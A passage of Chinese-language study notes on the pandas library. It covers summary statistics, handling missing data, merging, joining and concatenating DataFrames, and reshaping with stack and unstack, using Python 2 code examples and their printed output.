        | quantile | 计算样本的分位数(0到1) |
        | sum | 值的总和 |
        | mean | 值的平均值 |
        | median | 值的算术中位数 |
        | mad | 根据平均值计算平均绝对离差 |
        | var | 样本值的方差 |
        | std | 样本值的标准差 |
        | skew | 样本值的偏度(三阶矩) |
        | kurt | 样本值的峰度(四阶距) |
        | cumsum | 样本值的累计和 |
        | cummin cummax | 样本指的累计最大值和最小值 |
        | cumprod | 累计值的累计积 |
        | diff | 计算一阶差分(队时间序列很有用0 |
        | pct~change~ | 计算百分数变化 |

    9. 相关系数和协方差

      1. 通过参数对计算

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        import pandas.io.data as web
        #获取来自Yahoo!Finance的股票价格和成交量
        all_data = {}
        for ticker in ['AAPL', 'IBM', 'MSFT']:
        all_data[ticker] = web.get_data_yahoo(ticker,'1/1/2000','1/1/2000')
        price = pd.DataFrame({tic: data['Adj Close']
        for tic, data in all_data.iteritems()})
        volume = pd.DataFrame({tic : data['Volume']
        for tic, data in all_data.iteritems()})


        #计算价格的百分数变化
        returns = price.pct_change()
        print returns.tail()
        1
        2
        3
        Empty DataFrame
        Columns: [AAPL, IBM, MSFT]
        Index: []
    10. 唯一值 值计算以及成员资格

      1. unique方法,返回obj的唯一值数组

        1
        2
        3
        4
        5
        6
        obj = pd.Series(list('cadaabbcc'))

        #得到唯一值
        uniques = obj.unique()
        print uniques
        print
        1
        ['c' 'a' 'd' 'b']

        :

      2. value~counts~ 计算一个Series中各值出现的频率

        1
        2
        3
        4
        5
        6
        #序列是降序排列的
        print obj.value_counts()
        print

        #除了方法还有pd的顶级方法
        print pd.value_counts(obj.values, sort = False)
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        c    3
        a 3
        b 2
        d 1
        dtype: int64

        a 3
        c 3
        b 2
        d 1
        dtype: int64
      3. isin 判断矢量化集合的成员资格

        1
        2
        3
        4
        mask = obj.isin(['b', 'c'])
        print mask
        print
        print obj[mask]
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        0     True
        1 False
        2 False
        3 False
        4 False
        5 True
        6 True
        7 True
        8 True
        dtype: bool

        0 c
        5 b
        6 b
        7 c
        8 c
        dtype: object
      4. 唯一值 值计算 成员资格方法

        | 方法 | 说明 |
        |———————-|———————————————————————————————|
        | isin | 计算一个表示“Series各值是否包含于传入的值序列中”的布尔型数组 |
        | unique | 计算Series中的唯一值数组,安发现的顺序返回 |
        | value~counts~ | 返回一个Series,其索引为唯一值,其值为频率,降序排序 |

      5. 得到DF多个相关列柱状图

        1
        2
        3
        4
        5
        6
        7
        8
        9
        data = pd.DataFrame({'Qu1': [1,3,4,3,4],
        'Qu2': [2,3,1,2,3],
        "QU3": [1,5,2,4,4]})
        print data
        print
        #将pandas.value_counts传给DF的apply函数得到各列的元素个数
        #NA值填充为0
        result = data.apply(pd.value_counts).fillna(0)
        print result
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
           QU3  Qu1  Qu2
        0 1 1 2
        1 5 3 3
        2 2 4 1
        3 4 3 2
        4 4 4 3

        QU3 Qu1 Qu2
        1 1.0 1.0 1.0
        2 1.0 0.0 2.0
        3 0.0 2.0 2.0
        4 2.0 2.0 0.0
        5 1.0 0.0 0.0
    11. 处理缺失数据

      1. NA处理方法

        | 方法 | 说明 |
        |————-|————————————————————————|
        | dropna | 根据各标签的值是否存在缺失数据对轴标签进行过滤 |
        | | 可通过闸值调节对缺失值的容忍度 |
        | fillna | 用指定值或插值方法(如ffill或bfill)填充缺失数据 |
        | isnull | 返回一个含有布尔值的对象 |
        | notnull | 和isnull相反 |

    12. 滤除缺失数据

      1. Series中的处理方法

        1
        2
        3
        4
        5
        6
        7
        #   dropna方法,不改变obj
        from numpy import nan as NA
        data = pd.Series([1, NA, 3.5, NA, 7])
        print data.dropna()
        print
        # 用notnull方法
        print data[data.notnull()]
        1
        2
        3
        4
        5
        6
        7
        8
        0    1.0
        2 3.5
        4 7.0
        dtype: float64
        0 1.0
        2 3.5
        4 7.0
        dtype: float64
      2. DF中的处理方法

        1
        2
        3
        4
        5
        6
        data = pd.DataFrame([[1,6.5,3], [1,NA, NA],
        [NA,NA,NA], [NA, 6.5, 3]])
        cleaned = data.dropna()
        print data
        print
        print cleaned
        1
        2
        3
        4
        5
             0    1    2
        0 1.0 6.5 3.0
        1 1.0 NaN NaN
        2 NaN NaN NaN
        3 NaN 6.5 3.0

        :

        1
        2
             0    1    2
        0 1.0 6.5 3.0
        1. 丢弃全部为NA的行和列

          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          11
          #   丢弃全部NA的那些行
          print data
          print
          print data.dropna(how = 'all')
          print

          # 丢弃全部NA的那些列
          data[4] = NA
          print data
          print
          print data.dropna(axis = 1, how = 'all')
          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          11
          12
          13
          14
          15
          16
          17
          18
          19
          20
          21
          22
               0    1    2
          0 1.0 6.5 3.0
          1 1.0 NaN NaN
          2 NaN NaN NaN
          3 NaN 6.5 3.0

          0 1 2
          0 1.0 6.5 3.0
          1 1.0 NaN NaN
          3 NaN 6.5 3.0

          0 1 2 4
          0 1.0 6.5 3.0 NaN
          1 1.0 NaN NaN NaN
          2 NaN NaN NaN NaN
          3 NaN 6.5 3.0 NaN

          0 1 2
          0 1.0 6.5 3.0
          1 1.0 NaN NaN
          2 NaN NaN NaN
          3 NaN 6.5 3.0
        2. 丢弃

          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          11
          df = pd.DataFrame(np.random.randn(7,3))
          df.ix[:4,1] = NA
          df.ix[:2, 2] = NA
          print df
          print

          print df.dropna()
          print

          #thresh参数为一行拥有[参数]个非NA值
          print df.dropna(thresh = 3)
          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          11
          12
          13
          14
          15
          16
                    0         1         2
          0 1.244206 NaN NaN
          1 0.911635 NaN NaN
          2 -1.139608 NaN NaN
          3 -1.234194 NaN 0.179958
          4 0.377242 NaN -0.576781
          5 0.208960 -0.745873 0.471753
          6 -0.395019 -0.442547 -0.354554

          0 1 2
          5 0.208960 -0.745873 0.471753
          6 -0.395019 -0.442547 -0.354554

          0 1 2
          5 0.208960 -0.745873 0.471753
          6 -0.395019 -0.442547 -0.354554
    13. 填充缺失数据

      1. fillna方法

        1. 基本填充

          1
          2
          3
          4
          5
          6
          7
          8
          9
          # 参数为填充值
          print df.fillna(0)

          #对不同列填充不同的值
          print df.fillna({1:0.5, 2:-1})

          # 直接修改对象
          _ = df.fillna(0, inplace = True)
          print df
          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          11
          12
          13
          14
          15
          16
          17
          18
          19
          20
          21
          22
          23
          24
                    0         1         2
          0 1.244206 0.000000 0.000000
          1 0.911635 0.000000 0.000000
          2 -1.139608 0.000000 0.000000
          3 -1.234194 0.000000 0.179958
          4 0.377242 0.000000 -0.576781
          5 0.208960 -0.745873 0.471753
          6 -0.395019 -0.442547 -0.354554
          0 1 2
          0 1.244206 0.500000 -1.000000
          1 0.911635 0.500000 -1.000000
          2 -1.139608 0.500000 -1.000000
          3 -1.234194 0.500000 0.179958
          4 0.377242 0.500000 -0.576781
          5 0.208960 -0.745873 0.471753
          6 -0.395019 -0.442547 -0.354554
          0 1 2
          0 1.244206 0.000000 0.000000
          1 0.911635 0.000000 0.000000
          2 -1.139608 0.000000 0.000000
          3 -1.234194 0.000000 0.179958
          4 0.377242 0.000000 -0.576781
          5 0.208960 -0.745873 0.471753
          6 -0.395019 -0.442547 -0.354554
        2. 其他插值方法

          1
          2
          3
          4
          5
          6
          7
          df = pd.DataFrame(np.random.randn(6,3))
          df.ix[2:,1] = NA; df.ix[4:, 2] =NA
          print df
          print
          print df.fillna(method = 'ffill')
          print
          print df.fillna(method = 'ffill', limit = 2)
          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          11
          12
          13
          14
          15
          16
          17
          18
          19
          20
          21
          22
          23
                    0         1         2
          0 0.286912 0.421018 -0.387265
          1 0.587183 1.687635 0.956850
          2 -0.173152 NaN 0.771322
          3 -1.854829 NaN -0.338808
          4 0.296490 NaN NaN
          5 -0.217154 NaN NaN

          0 1 2
          0 0.286912 0.421018 -0.387265
          1 0.587183 1.687635 0.956850
          2 -0.173152 1.687635 0.771322
          3 -1.854829 1.687635 -0.338808
          4 0.296490 1.687635 -0.338808
          5 -0.217154 1.687635 -0.338808

          0 1 2
          0 0.286912 0.421018 -0.387265
          1 0.587183 1.687635 0.956850
          2 -0.173152 1.687635 0.771322
          3 -1.854829 1.687635 -0.338808
          4 0.296490 NaN -0.338808
          5 -0.217154 NaN -0.338808
        3. fillna函数的参数

          | 参数 | 说明 |
          |————-|—————————————————|
          | value | 用于填充缺失值的标量值或字典对象 |
          | method | 插值方式。默认 ffill |
          | axis | 待填充的轴,默认axis = 0 |
          | inplace | 修改调用者对象而不产生副本 |
          | limit | 限定可连续填充的最大数量 |

    14. 层次化索引

      1. 可以在一个轴上拥有多个索引级别

        1
        2


Chapter 7: 数据规整化

合并数据集

数据库风格的DF合并

  1. 简单例子

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    df1 = pd.DataFrame({'key': ['b', 'b', 'a', 'c', 'a', 'a', 'b'],
    'data1': range(7)})
    df2 = pd.DataFrame({'key': ['a', 'b', 'd'],
    'data2':range(3)})
    print df1
    print
    print df2
    print

    #合并(不显示),重叠列的列名当做键(如key)
    print pd.merge(df1,df2)

    #显示合并
    print pd.merge(df1,df2, on = 'key')
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
       data1 key
    0 0 b
    1 1 b
    2 2 a
    3 3 c
    4 4 a
    5 5 a
    6 6 b

    data2 key
    0 0 a
    1 1 b
    2 2 d

    data1 key data2
    0 0 b 1
    1 1 b 1
    2 6 b 1
    3 2 a 0
    4 4 a 0
    5 5 a 0
    1. 不同列名,分别指定合并

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      df3 = pd.DataFrame({'lkey': list("bbacaab"),
      "data1": range(7)})
      df4 = pd.DataFrame({'rkey': list('abd'),
      'data2':range(3)})
      print df3
      print
      print df4
      print

      #合并,连接左右key
      print pd.merge(df3,df4,left_on = 'lkey',right_on = 'rkey')
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
         data1 lkey
      0 0 b
      1 1 b
      2 2 a
      3 3 c
      4 4 a
      5 5 a
      6 6 b

      data2 rkey
      0 0 a
      1 1 b
      2 2 d

      data1 lkey data2 rkey
      0 0 b 1 b
      1 1 b 1 b
      2 6 b 1 b
      3 2 a 0 a
      4 4 a 0 a
      5 5 a 0 a
      1. 但是默认用的是inner连接,所以键是交集

      2. how选项

        1
        2
        3
        print pd.merge(df3, df4, how = 'outer', left_on = 'lkey', right_on = 'rkey' )
        print pd.merge(df3, df4, how = 'left', left_on = 'lkey', right_on = 'rkey' )
        print pd.merge(df3, df4, how = 'right', left_on = 'lkey', right_on = 'rkey' )
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
           data1 lkey  data2 rkey
        0 0.0 b 1.0 b
        1 1.0 b 1.0 b
        2 6.0 b 1.0 b
        3 2.0 a 0.0 a
        4 4.0 a 0.0 a
        5 5.0 a 0.0 a
        6 3.0 c NaN NaN
        7 NaN NaN 2.0 d
        data1 lkey data2 rkey
        0 0 b 1.0 b
        1 1 b 1.0 b
        2 2 a 0.0 a
        3 3 c NaN NaN
        4 4 a 0.0 a
        5 5 a 0.0 a
        6 6 b 1.0 b
        data1 lkey data2 rkey
        0 0.0 b 1 b
        1 1.0 b 1 b
        2 6.0 b 1 b
        3 2.0 a 0 a
        4 4.0 a 0 a
        5 5.0 a 0 a
        6 NaN NaN 2 d
      3. 如果合并的对象有重叠列名,可以用suffixes参数来区分列名

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        left = pd.DataFrame({'key1': ['foo', 'foo', 'bar'],
        "key2": ['one', 'two', 'one'],
        "lval": [1, 2, 3]})
        right = pd.DataFrame({'key1': ['foo', 'foo', 'bar', 'bar'],
        "key2": ['one', 'one', 'one', 'two'],
        "rval": [4,5,6,7]})
        print left
        print
        print right
        print
        #多列合并
        print pd.merge(left,right, on = ['key1','key2'], how = 'outer')
        print

        #重复列合并
        print pd.merge(left,right, on = 'key1')

        #使用suffixes来增加重复列的列名区分部分
        print pd.merge(left,right, on = 'key1', suffixes = ('_left', "_right"))
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
          key1 key2  lval
        0 foo one 1
        1 foo two 2
        2 bar one 3

        key1 key2 rval
        0 foo one 4
        1 foo one 5
        2 bar one 6
        3 bar two 7

        key1 key2 lval rval
        0 foo one 1.0 4.0
        1 foo one 1.0 5.0
        2 foo two 2.0 NaN
        3 bar one 3.0 6.0
        4 bar two NaN 7.0

        key1 key2_x lval key2_y rval
        0 foo one 1 one 4
        1 foo one 1 one 5
        2 foo two 2 one 4
        3 foo two 2 one 5
        4 bar one 3 one 6
        5 bar one 3 two 7
        key1 key2_left lval key2_right rval
        0 foo one 1 one 4
        1 foo one 1 one 5
        2 foo two 2 one 4
        3 foo two 2 one 5
        4 bar one 3 one 6
        5 bar one 3 two 7
    2. merge函数的参数

      | 参数 | 说明 |
      |———————|————————————————————————————————|
      | left | 参与合并的左侧DataFrame |
      | right | 参与合并的右侧DataFrame |
      | how | “inner”,”outer”,”left”,”right”其中之一,默认”inner” |
      | on | 用于连接的列名,必须存在于左右两个DF中 |
      | | 如果未指定,则用left和right的列名的交集作为连接键 |
      | left~on~ | 左侧DF用于连接键的列 |
      | right~on~ | 右侧DF用于连接键的列 |
      | left~index~ | 将左侧的行索引作为连接键 |
      | right~index~ | 将右侧的行索引作为连接键 |
      | sort | 根据连接键合并后的数据进行排序,默认True |
      | | 在处理大数据时,禁用会获得更好的性能 |
      | suffixes | 追加重叠列名的末尾,默认(“~x~”, “~y~”) |
      | copy | 设置为False,可以在避免将数据复制到结果数据结构中,默认重视复制 |

索引上的合并

  1. 有些情况,可以传入left~index~ = True 或 right~index~ =
    True(或都传)以说明索引来用作连接键

    1
    2
    3
    4
    5
    6
    7
    8
    9
    left1 = pd.DataFrame({'key': list('abaabc'),
    "value": range(6)})
    right1 = pd.DataFrame({'group_val':[3.5,7]},
    index = ['a', 'b'])
    print left1
    print
    print right1
    print
    print pd.merge(left1, right1, left_on = 'key', right_index = True)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
      key  value
    0 a 0
    1 b 1
    2 a 2
    3 a 3
    4 b 4
    5 c 5

    group_val
    a 3.5
    b 7.0

    key value group_val
    0 a 0 3.5
    2 a 2 3.5
    3 a 3 3.5
    1 b 1 7.0
    4 b 4 7.0
  2. 层次化索引

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    lefth = pd.DataFrame({'key1': ['Ohio', 'Ohio', 'Ohio', 'Nevada', "Nevada"],
    "key2": [2000,2001,2002,2001,2002],
    "data": np.arange(5)})
    righth = pd.DataFrame(np.arange(12).reshape(6,2),
    index = [['Nevada', 'Nevada', 'Ohio', 'Ohio', 'Ohio', 'Ohio'],
    [2001, 2000, 2000, 2000, 2001, 2002]],
    columns = ['event1', 'event2'])
    print lefth
    print
    print righth
    print

    #必须以列表的形式指明 用于合并键的多个列
    print pd.merge(lefth, righth, left_on = ['key1', 'key2'],right_index = True)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
       data    key1  key2
    0 0 Ohio 2000
    1 1 Ohio 2001
    2 2 Ohio 2002
    3 3 Nevada 2001
    4 4 Nevada 2002

    event1 event2
    Nevada 2001 0 1
    2000 2 3
    Ohio 2000 4 5
    2000 6 7
    2001 8 9
    2002 10 11

    data key1 key2 event1 event2
    0 0 Ohio 2000 4 5
    0 0 Ohio 2000 6 7
    1 1 Ohio 2001 8 9
    2 2 Ohio 2002 10 11
    3 3 Nevada 2001 0 1
  3. join方法,更方便的实现索引合并

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    left2 = pd.DataFrame([[1,2], [3,4], [5,6]],index = ['a', 'c', 'a'],
    columns = ['Ohio','Nevada'])
    right2 = pd.DataFrame([[7,8],[9, 10],[11,12],[13, 14]],
    index = ['b', 'c', 'd', 'e' ], columns = ['Missouri', 'Alabama'])
    print left2
    print
    print right2
    print
    #merge
    print pd.merge(left2, right2, how = 'outer', left_index = True, right_index = True)

    #join
    print left2.join(right2, how = 'outer')
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
       Ohio  Nevada
    a 1 2
    c 3 4
    a 5 6

    Missouri Alabama
    b 7 8
    c 9 10
    d 11 12
    e 13 14

    Ohio Nevada Missouri Alabama
    a 1.0 2.0 NaN NaN
    a 5.0 6.0 NaN NaN
    b NaN NaN 7.0 8.0
    c 3.0 4.0 9.0 10.0
    d NaN NaN 11.0 12.0
    e NaN NaN 13.0 14.0
    Ohio Nevada Missouri Alabama
    a 1.0 2.0 NaN NaN
    a 5.0 6.0 NaN NaN
    b NaN NaN 7.0 8.0
    c 3.0 4.0 9.0 10.0
    d NaN NaN 11.0 12.0
    e NaN NaN 13.0 14.0
  4. 参数DF的索引和调用者DF的某一列连接

    1
    2
    3
    4
    5
    print left1
    print
    print right1
    print
    print left1.join(right1, on = 'key')
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
      key  value
    0 a 0
    1 b 1
    2 a 2
    3 a 3
    4 b 4
    5 c 5

    group_val
    a 3.5
    b 7.0

    key value group_val
    0 a 0 3.5
    1 b 1 7.0
    2 a 2 3.5
    3 a 3 3.5
    4 b 4 7.0
    5 c 5 NaN
  5. 几个DF索引合并

    1
    2
    3
    4
    5
    6
    another = pd.DataFrame([[7,8], [9, 10], [11, 12], [16, 17]],
    index = ['a', 'c', 'e', 'f'],
    columns = ["new York", "Oregon"])
    print left2.join([right2, another])
    print
    print left2.join([right2, another], how = 'outer')
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
       Ohio  Nevada  Missouri  Alabama  new York  Oregon
    a 1.0 2.0 NaN NaN 7.0 8.0
    a 5.0 6.0 NaN NaN 7.0 8.0
    b NaN NaN 7.0 8.0 NaN NaN
    c 3.0 4.0 9.0 10.0 9.0 10.0
    d NaN NaN 11.0 12.0 NaN NaN
    e NaN NaN 13.0 14.0 11.0 12.0
    f NaN NaN NaN NaN 16.0 17.0

    Ohio Nevada Missouri Alabama new York Oregon
    a 1.0 2.0 NaN NaN 7.0 8.0
    a 5.0 6.0 NaN NaN 7.0 8.0
    b NaN NaN 7.0 8.0 NaN NaN
    c 3.0 4.0 9.0 10.0 9.0 10.0
    d NaN NaN 11.0 12.0 NaN NaN
    e NaN NaN 13.0 14.0 11.0 12.0
    f NaN NaN NaN NaN 16.0 17.0

轴向连接

  1. concatenation函数(合并原始Numpy数组)

    1
    2
    3
    4
    arr = np.arange(12).reshape(3,4)
    print arr
    print
    print np.concatenate([arr,arr], axis = 1)
    1
    2
    3
    [[ 0  1  2  3]
    [ 4 5 6 7]
    [ 8 9 10 11]]

    :

    1
    2
    3
    [[ 0  1  2  3  0  1  2  3]
    [ 4 5 6 7 4 5 6 7]
    [ 8 9 10 11 8 9 10 11]]
  2. pandas中的连接

    1. 需要考虑的因素

      • 如果个对象其他轴上的索引不同, 那些轴应该是做并集还是交集
      • 结果对象中的分组需要各不相同吗
      • 用于连接的轴重要吗
    2. concat函数

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      s1 = pd.Series([0,1], index = ['a', 'b'])
      s2 = pd.Series([2, 3, 4], index = list('cde'))
      s3 = pd.Series([5, 6], index = ['f', 'g'])
      print s1
      print
      print s2
      print
      print s3
      print

      #concat默认在axis = 0下工作,返回一个Series
      print pd.concat([s1, s2, s3])

      #在axis = 1上作用,会变成一个DF
      print pd.concat([s1, s2, s3], axis = 1)
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      a    0
      b 1
      dtype: int64

      c 2
      d 3
      e 4
      dtype: int64

      f 5
      g 6
      dtype: int64

      a 0
      b 1
      c 2
      d 3
      e 4
      f 5
      g 6
      dtype: int64
      0 1 2
      a 0.0 NaN NaN
      b 1.0 NaN NaN
      c NaN 2.0 NaN
      d NaN 3.0 NaN
      e NaN 4.0 NaN
      f NaN NaN 5.0
      g NaN NaN 6.0
      1. Cconcet 默认外连接, join和 join~axes参数~

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        s4 = pd.concat([s1 *5, s3])
        print s4
        print

        print pd.concat([s1, s4], axis = 1)
        print

        #使用内连接
        print pd.concat([s1, s4], join = 'inner')

        #指定要在其他州上使用的索引
        #s4的f g行就消失了,多了 c e行
        print pd.concat([s1, s4], axis = 1, join_axes = [['a', 'c', 'b', 'e']]) #join_axes是list里有索引list
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        a    0
        b 5
        f 5
        g 6
        dtype: int64

        0 1
        a 0.0 0
        b 1.0 5
        f NaN 5
        g NaN 6

        a 0
        b 1
        a 0
        b 5
        f 5
        g 6
        dtype: int64
        0 1
        a 0.0 0.0
        c NaN NaN
        b 1.0 5.0
        e NaN NaN
      2. 创造层次化, key参数

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        #key参数 将三个Series分层
        result = pd.concat([s1, s2, s3], keys = ['one', 'two', 'three'])
        print result
        print

        #unstack 将分层的Series变成DF
        print result.unstack()
        print

        #沿着axis = 1对Series进行合并,keys变成DataFrame的列头
        print "就是上面的行列置换:"
        print pd.concat([s1, s2, s3], axis = 1, keys = ['one', 'two', 'three'])
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        one    a    0
        b 1
        two c 2
        d 3
        e 4
        three f 5
        g 6
        dtype: int64

        a b c d e f g
        one 0.0 1.0 NaN NaN NaN NaN NaN
        two NaN NaN 2.0 3.0 4.0 NaN NaN
        three NaN NaN NaN NaN NaN 5.0 6.0

        就是上面的行列置换
        one two three
        a 0.0 NaN NaN
        b 1.0 NaN NaN
        c NaN 2.0 NaN
        d NaN 3.0 NaN
        e NaN 4.0 NaN
        f NaN NaN 5.0
        g NaN NaN 6.0
        1. DF中的层次化

          1
          2
          3
          4
          5
          6
          7
          8
          9
          df1 = pd.DataFrame(np.arange(6).reshape(3,2), index = list('abc'),
          columns = ['one', 'two'])
          df2 = pd.DataFrame(5+ np.arange(4).reshape(2,2), index = ['a', 'c'],
          columns = ['three', 'four'])
          print pd.concat([df1, df2], axis = 1, keys = ['level1', 'level2'])
          print

          #参数如果不是列表是字典,则字典的key会当成keys的值,value会是做对应的对象
          print pd.concat({'level1': df1, 'level2' : df2}, axis = 1)
          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          11
            level1     level2
          one two three four
          a 0 1 5.0 6.0
          b 2 3 NaN NaN
          c 4 5 7.0 8.0

          level1 level2
          one two three four
          a 0 1 5.0 6.0
          b 2 3 NaN NaN
          c 4 5 7.0 8.0
      3. 忽略行索引, ignore~index参数~

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        df1 = pd.DataFrame(np.random.randn(3,4), columns = ['a', 'b', 'c', 'd'])
        df2 = pd.DataFrame(np.random.randn(2,3), columns = ['b', 'd', 'a'])
        print df1
        print
        print df2
        print

        #传入ignore_index = True来忽略行索引
        print pd.concat([df1, df2], ignore_index = True)
        print
        print "如果不传入ignore_index的话"
        print pd.concat([df1, df2])
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
                  a         b         c         d
        0 1.135556 0.913366 -0.343349 -0.552474
        1 -0.092713 -0.396608 0.862300 0.676480
        2 -0.489371 -0.738190 -0.706639 0.545143

        b d a
        0 0.318872 1.53383 -1.174550
        1 1.939470 -1.25647 -0.083473

        a b c d
        0 1.135556 0.913366 -0.343349 -0.552474
        1 -0.092713 -0.396608 0.862300 0.676480
        2 -0.489371 -0.738190 -0.706639 0.545143
        3 -1.174550 0.318872 NaN 1.533830
        4 -0.083473 1.939470 NaN -1.256470

        如果不传入ignore_index的话
        a b c d
        0 1.135556 0.913366 -0.343349 -0.552474
        1 -0.092713 -0.396608 0.862300 0.676480
        2 -0.489371 -0.738190 -0.706639 0.545143
        0 -1.174550 0.318872 NaN 1.533830
        1 -0.083473 1.939470 NaN -1.256470
      4. concat函数的参数

        | 参数 | 说明 |
        |—————————-|——————————————————————————|
        | objs | 参与连接的对象列表或者字典。 |
        | | 唯一必要的参数 |
        | axis | 指明连接的轴向,默认为0 |
        | join | “inner” “outer” 默认为”outer” |
        | join~axes~ | 指明用于其他n-1条轴的索引 |
        | | 不执行并集/交集运算 |
        | keys | 与连接对象有关的值,用于形成层次化索引 |
        | | 可以使任意值的列表或数组,元组,数组列表 |
        | levels | 指定用于层次化索引各级上的索引,如果设置了keys |
        | names | 用于创造分层级别的名字,如果设置了keys和(或)levels |
        | verify~integrity~ | 检查见过对象新轴上的重复情况,如果发现则引起异常 |
        | | 默认为(false)允许重复 |
        | ignore~index~ | 不保留连接轴上的索引 |
        | | 产生一组新索引range(total~length~) |

合并重叠数据

  1. 使用Numpy的where函数,用于表达矢量化的if-else

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    a = pd.Series([np.nan, 2.5, np.nan, 3.5, 4.5, np.nan],
    index = list ('fedcba'))
    b = pd.Series(np.arange(len(a)), dtype = np.float64,
    index = list('fedcba'))
    b[-1] = np.nan
    print a
    print
    print b
    print

    print np.where(pd.isnull(a), b, a )
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    f    NaN
    e 2.5
    d NaN
    c 3.5
    b 4.5
    a NaN
    dtype: float64

    f 0.0
    e 1.0
    d 2.0
    c 3.0
    b 4.0
    a NaN
    dtype: float64

    [ 0. 2.5 2. 3.5 4.5 nan]
  2. Series的combine~first方法~,会进行数据对齐?

    1
    print a.combine_first(b)
    1
    2
    3
    4
    5
    6
    7
    f    0.0
    e 2.5
    d 2.0
    c 3.5
    b 4.5
    a NaN
    dtype: float64
  3. 对于 DF,combine~first~,对缺失值”打补丁”

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    df1 = pd.DataFrame({'a': [1, np.nan, 5, np.nan],
    'b': [np.nan, 2, np.nan, 6],
    "c": range(2, 18, 4)})
    df2 = pd.DataFrame({'a': [5, 4, np.nan, 3, 7],
    'b': [np.nan, 3, 4, 6, 8]})
    print df1
    print
    print df2
    print

    print df1.combine_first(df2)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
         a    b   c
    0 1.0 NaN 2
    1 NaN 2.0 6
    2 5.0 NaN 10
    3 NaN 6.0 14

    a b
    0 5.0 NaN
    1 4.0 3.0
    2 NaN 4.0
    3 3.0 6.0
    4 7.0 8.0

    a b c
    0 1.0 NaN 2.0
    1 4.0 2.0 6.0
    2 5.0 4.0 10.0
    3 3.0 6.0 14.0
    4 7.0 8.0 NaN

重塑和轴向旋转

重塑层次化索引

  1. 层次化索引为DF数据的重排提供了一种良好的一致性方式

    • stack: 将数据的列”旋转”为行
    • unstack: 将数据的行”旋转”为列
    1. 例子

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      #需要增加name,所以用 pd.Index
      data = pd.DataFrame(np.arange(6).reshape(2,3),
      index = pd.Index(['Ohio', 'Colorado'], name = 'state'),
      columns = pd.Index(['one', 'two', 'three'], name = 'number'))

      print data
      print

      #用stack来将列转化成行,得到一个层次化的Series
      result = data.stack()
      print result

      #对于一个层次化的Series,用unstack将其重排为一个DataFrame
      print result.unstack()
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      number    one  two  three
      state
      Ohio 0 1 2
      Colorado 3 4 5

      state number
      Ohio one 0
      two 1
      three 2
      Colorado one 3
      two 4
      three 5
      dtype: int32
      number one two three
      state
      Ohio 0 1 2
      Colorado 3 4 5
    2. 默认操作是最内层,传入分层级别的编号或名称

      1
      2
      3
      4
      5
      print result
      print
      print result.unstack(1) # 1 代表着第二层,从0开始
      print
      print result.unstack('state')
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      state     number
      Ohio one 0
      two 1
      three 2
      Colorado one 3
      two 4
      three 5
      dtype: int32

      number one two three
      state
      Ohio 0 1 2
      Colorado 3 4 5
      state Ohio Colorado
      number
      one 0 3
      two 1 4
      three 2 5
    3. 如果不是左右级别值都能在分组中找到,则unstack操作会引入缺失数据

      1
      2
      3
      4
      5
      6
      s1 = pd.Series([0,1,2,3],index = list('abcd'))
